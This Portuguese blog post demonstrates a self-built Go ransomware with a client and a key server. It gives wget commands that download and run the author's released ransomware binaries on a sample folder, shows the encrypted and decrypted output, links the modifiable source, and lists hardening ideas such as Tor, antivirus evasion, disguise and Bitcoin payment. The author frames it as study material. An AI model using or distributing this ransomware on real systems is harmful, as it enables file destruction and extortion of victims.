Pular para o conteúdo

Criando seu próprio ransomware em Golang

Postado em 3 minutos de leitura

Demo

Os ataques do ransomware conhecido como WannaCry / Wcry / WannaCrypt alertaram o mundo para os problemas causados por esse tipo de ataque cada vez mais utilizado por ciber criminosos. Um ransomware criptografa os arquivos existentes no computador, impossibilitando que sejam utilizados, até que a vítima efetue o pagamento no valor solicitado pelo atacante. Após a confirmação do pagamento, o ransomware descriptografa e restaura os arquivos. Mesmo após o pagamento não há garantia de que o atacante vai agir de boa fé e permitir que os arquivos voltem ao estado original.
Vou mostrar como funciona o ransomware que desenvolvi na linguagem de programação Go.

Motivação

Ethical Hacking tem sido meu principal tema de estudo nos últimos meses e por isso decidi criar um ransomware apenas como aprendizado. Juntei minha área de interesse e uma das minhas linguagens de programação que mais gosto para demonstrar na prática como é o funcionamento desse tipo de praga virtual.

Como funciona?

Dividi o ransomware em duas partes, cliente e servidor. O cliente é o software que infecta o computador da vítima e mostra uma mensagem informando sobre o malware. Ele se conecta ao servidor, obtém a chave pública e a utiliza para criptografar os arquivos. O servidor informa que o suposto pagamento foi efetuado e libera a chave privada para o cliente descriptografar os arquivos.
Quando o ransomware é executado na máquina da vítima, ele cria e abre um arquivo html que explica sobre a infecção.

Executando o Ransomware

Estou disponibilizando os dois arquivos que compõem o ransomware, o cliente e o servidor. Ambos devem ser executados na mesma máquina pois nesse exemplo não é necessário uma conexão com a internet para ver o funcionamento. Há versões para Linux, MacOSX e Windows porém no decorrer do texto vou mostrar apenas comandos executados em um terminal Linux.

Abaixo eu fiz o download e executei o ransomware, criei um diretório e arquivo de exemplo e executei o comando para criptografar apenas o conteúdo desse diretório:

# Download the ransomware files
$ cd
$ wget https://github.com/gustavohenrique/ransomware/releases/download/v0.0.1/rswclient-linux-amd64
$ wget https://github.com/gustavohenrique/ransomware/releases/download/v0.0.1/rswserver-linux-amd64
$ chmod +x rswclient-linux-amd64 rswserver-linux-amd64
# Running ransomware server on port 7000
$ ./rswserver-linux-amd64 &
# Create an important document
$ mkdir docs
$ echo “hello” > docs/notes.txt
# Run the ransomware client to encrypt docs
$ ./rswclient-linux-amd64 -directory=docs &

Após a criptografia o arquivo notes.txt ficou criptografado e irreconhecível:

$ cat docs/_fck_notes.txt
65d091294d71c917256c183a444a0728be9b9788d87c2bfaa697b4bef468ad69.0b9a57b85b44c158a3a71c318bf9218c11539d7eea5e74847b1dee6e40a7a06d.FFFFFFFFFFFFFF

Para retornar o arquivo ao estado original, finalizei o processo do servidor e executei novamente mas dessa vez simulando uma confirmação de pagamento.

$ killall rswserver-linux-amd64
$ ./rswserver-linux-amd64 -paid &

E após alguns segundos o ransomware obteve a chave privada do servidor e a utilizou para descriptografar o conteúdo do diretório docs:

$ cat docs/notes.txt
hello

Conclusão

Existem muitas técnicas que eu poderia aplicar para tornar esse ransomware perigoso como por exemplo usar a rede Tor para criar uma conexão segura entre o cliente e o servidor, dificultar a detecção por parte dos antivirus e disfarçar o ransomware como se fosse outro aplicativo. Porém isso foge do escopo desse texto. Um ataque mal intencionado envolveria o pagamento utilizando Bitcoin, que é um tipo de moeda virtual difícil de ser rastreada e por isso muito utilizada para pagamentos de serviços onde o prestador não quer ser identificado.
O código está disponível no Github sob a licença GPL e qualquer desenvolvedor pode modifica-lo.

https://github.com/gustavohenrique/ransomware